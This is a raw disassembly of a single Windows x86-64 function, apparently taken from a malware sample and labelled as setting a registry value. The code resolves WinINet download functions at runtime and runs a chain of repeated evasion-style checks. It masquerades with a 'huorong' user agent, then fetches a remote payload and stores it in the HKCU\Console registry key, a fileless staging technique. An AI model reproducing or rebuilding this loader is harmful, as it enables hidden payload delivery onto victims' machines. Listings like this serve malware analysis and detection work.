Function at 0x140001a10
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov dword [rsp + 0x80], 0x1f4000
mov ecx, 0x1f4000
call fcn.14000239c
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x60], 1
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x140001a92
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call fcn.1400022ec
jmp 0x140001eb1
lea rdx, str.InternetOpenW
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
lea rdx, str.InternetOpenUrlW
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, str.InternetCloseHandle
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x58], 0
je 0x140001b20
cmp qword [rsp + 0x90], 0
je 0x140001b20
cmp qword [rsp + 0x50], 0
je 0x140001b20
cmp qword [rsp + 0x70], 0
jne 0x140001b4d
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
call fcn.1400022ec
jmp 0x140001eb1
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001090
test eax, eax
je 0x140001b66
call section..text
call fcn.140001130
test eax, eax
je 0x140001b74
call fcn.1400011d0
call fcn.1400011d0
test eax, eax
je 0x140001b82
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001b90
call section..text
call section..text
test eax, eax
je 0x140001b9e
call fcn.140001130
call fcn.1400011d0
test eax, eax
je 0x140001bac
call section..text
call section..text
test eax, eax
je 0x140001bba
call fcn.1400011d0
call fcn.140001130
test eax, eax
je 0x140001bc8
call fcn.1400011d0
call fcn.140001270
test eax, eax
je 0x140001bd6
call fcn.140001310
call fcn.140001310
test eax, eax
je 0x140001be4
call fcn.1400013b0
call fcn.1400013b0
test eax, eax
je 0x140001bf2
call fcn.140001450
call fcn.140001450
test eax, eax
je 0x140001c00
call fcn.140001270
call fcn.140001130
test eax, eax
je 0x140001c0e
call fcn.1400013b0
call fcn.1400011d0
test eax, eax
je 0x140001c1c
call fcn.140001450
call fcn.140001270
test eax, eax
je 0x140001c2a
call section..text
call fcn.140001310
test eax, eax
je 0x140001c38
call fcn.140001090
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.huorong
call qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x140001e97
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x140001e85
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001e6d
mov dword [rsp + 0xa8], 0
mov dword [rsp + 0xac], 0
cmp dword [rsp + 0x60], 0
jbe 0x140001dd4
mov eax, 0x1f4000
sub eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xac]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x60]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0x50]
cmp dword [rsp + 0x60], 0
jbe 0x140001dcf
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0xac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0x1f4000
jne 0x140001dcf
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8], eax
mov dword [rsp + 0xac], 0
jmp 0x140001d0d
cmp dword [rsp + 0xac], 0
jbe 0x140001e2b
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0x70]
mov qword [rsp + 0x98], 0
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x70]
mov qword [rsp + 0x68], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc8], rax
mov rcx, qword [rsp + 0xc8]
call fcn.1400022ec
add rsp, 0xd8
ret